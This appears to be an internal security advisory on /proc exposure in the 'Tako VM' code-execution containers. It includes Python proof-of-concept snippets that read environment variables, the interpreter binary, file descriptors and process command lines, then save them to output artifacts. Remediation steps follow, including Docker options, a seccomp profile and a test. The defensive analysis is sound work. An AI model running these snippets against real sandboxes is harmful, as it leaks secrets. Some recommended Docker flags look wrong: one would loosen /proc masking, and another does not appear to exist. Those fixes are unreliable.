Skip to content

Security Analysis: /proc Filesystem Exposure

Date: 2026-01-26 Severity: MEDIUM Reference: Equixly: The False Security of AI Containers

Summary

Tako VM containers are vulnerable to information leakage through the /proc filesystem. While artifact download endpoints have strong path traversal protection, user code executing inside containers can read sensitive data from /proc and exfiltrate it via output artifacts.

Attack Vectors

1. Environment Variable Leakage via /proc/self/environ

Attack Code:

# User submits this as code to execute
import json

# Read all environment variables from /proc
with open('/proc/self/environ', 'rb') as f:
    env_data = f.read()

# Parse null-byte separated key=value pairs
env_vars = {}
for entry in env_data.split(b'\x00'):
    if b'=' in entry:
        key, value = entry.split(b'=', 1)
        env_vars[key.decode()] = value.decode()

# Exfiltrate via output artifact
with open('/output/stolen_env.json', 'w') as f:
    json.dump(env_vars, f, indent=2)

print("Environment extracted successfully")

Information Exposed: - TAKO_REQUIREMENTS - reveals dependency list - Custom job_type.environment variables - may contain API keys, secrets - System environment (PATH, HOME, etc.)

2. Binary Extraction via /proc/self/exe

Attack Code:

import shutil

# Copy the Python interpreter binary
shutil.copy('/proc/self/exe', '/output/python_binary')
print("Binary extracted")

Risk: Enables reverse engineering of: - Python version and patches - Compiled extensions - Potential vulnerabilities in the runtime

3. File Descriptor Enumeration via /proc/self/fd/

Attack Code:

import os
import json

fds = {}
for fd_num in range(256):
    fd_path = f'/proc/self/fd/{fd_num}'
    try:
        target = os.readlink(fd_path)
        fds[fd_num] = target
    except (FileNotFoundError, OSError):
        pass

with open('/output/open_files.json', 'w') as f:
    json.dump(fds, f, indent=2)

Risk: Reveals: - Open configuration files - Database connections - Unix sockets - Log files

4. Process Enumeration via /proc/[PID]/

Attack Code:

import os
import json

processes = {}
for pid in range(1, 100):
    cmdline_path = f'/proc/{pid}/cmdline'
    try:
        with open(cmdline_path, 'rb') as f:
            cmdline = f.read().replace(b'\x00', b' ').decode()
            processes[pid] = cmdline
    except (FileNotFoundError, PermissionError):
        pass

with open('/output/processes.json', 'w') as f:
    json.dump(processes, f, indent=2)

Risk: Reveals: - Running processes and command arguments - Container initialization details - Potential security tooling

Current Mitigations in Tako VM

What Works ✅

  1. Artifact Download Protection (app.py:1036-1042)
  2. Uses is_relative_to() for robust path validation
  3. Only allows downloads of manifest-listed artifacts
  4. Prevents API-level path traversal

  5. Container Hardening (worker.py:593-600)

  6. Read-only filesystem (except /output, /tmp)
  7. Capability dropping (--cap-drop=ALL)
  8. No new privileges
  9. Network isolation by default
  10. Non-root user (uid 1000)

  11. Filename Validation (security.py:335-360)

  12. Blocks path separators in artifact names
  13. Prevents parent directory references
  14. Blocks hidden files

What's Missing ⚠️

  1. No /proc restrictions - Containers have full read access to /proc
  2. No seccomp profile enforcement - Seccomp is optional, not default
  3. Environment variables in plaintext - Sensitive config passed via env vars
  4. No LSM (AppArmor/SELinux) - No mandatory access controls

Priority 1: Mount /proc read-only or with masking

Use Docker's --security-opt to mask sensitive /proc paths:

cmd.extend([
    # Mask sensitive /proc paths
    "--security-opt=systempaths=unconfined",
    # Or use a custom seccomp profile that blocks access to /proc
])

Better approach: Use /proc masking available in newer Docker versions:

cmd.extend([
    # Mask environment variables
    "--security-opt=proc-opts=subset,subset-paths=/proc/self/environ",
])

Priority 2: Enable seccomp profile by default

Create a restrictive seccomp profile that blocks: - ptrace syscalls (prevent process inspection) - File reads on /proc/*/environ - Unnecessary system calls

File: tako_vm/seccomp_profile.json

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_ARM64"],
  "syscalls": [
    {
      "names": ["read", "write", "open", "close", "stat", ...],
      "action": "SCMP_ACT_ALLOW"
    },
    {
      "names": ["ptrace", "process_vm_readv"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

Enable by default in config.py:

enable_seccomp: bool = True  # Change default
seccomp_profile_path: Path = Path(__file__).parent / "seccomp_profile.json"

Priority 3: Avoid passing secrets via environment variables

Instead of passing sensitive data via env vars: 1. Use Docker secrets mounting (for production) 2. Write config to read-only files in /input 3. Use a secrets management service

Example - Replace this:

cmd.append(f"--env=SECRET_KEY={secret}")

With this:

# Write to read-only config file instead
config_file = input_dir / "_config.json"
config_file.write_text(json.dumps({"secret_key": secret}))
cmd.append(f"--mount=type=bind,source={config_file},target=/config/secrets.json,readonly")

Priority 4: Add /proc access warnings to documentation

Document this limitation prominently:

Security Notice: User code runs with read access to /proc, which exposes container metadata, environment variables, and process information. Do not pass sensitive secrets via environment variables. Use input files or external secret management instead.

Impact Assessment

Likelihood: HIGH - Any user can submit code to read /proc Impact: MEDIUM - Leaks configuration but not host system access Overall Risk: MEDIUM

Affected Components: - All container executions - Job types with custom environment variables

Testing

Create a test to verify /proc exposure:

def test_proc_environ_exposure():
    """Verify that /proc/self/environ is accessible (known limitation)."""
    code = """
import os
env = dict(os.environ)
with open('/output/result.json', 'w') as f:
    import json
    json.dump({"env_count": len(env)}, f)
    """
    result = executor.execute_job({"code": code, "input_data": {}})
    assert result["success"]
    # This currently passes - demonstrating the vulnerability
    assert result["output"]["env_count"] > 0

References


Next Steps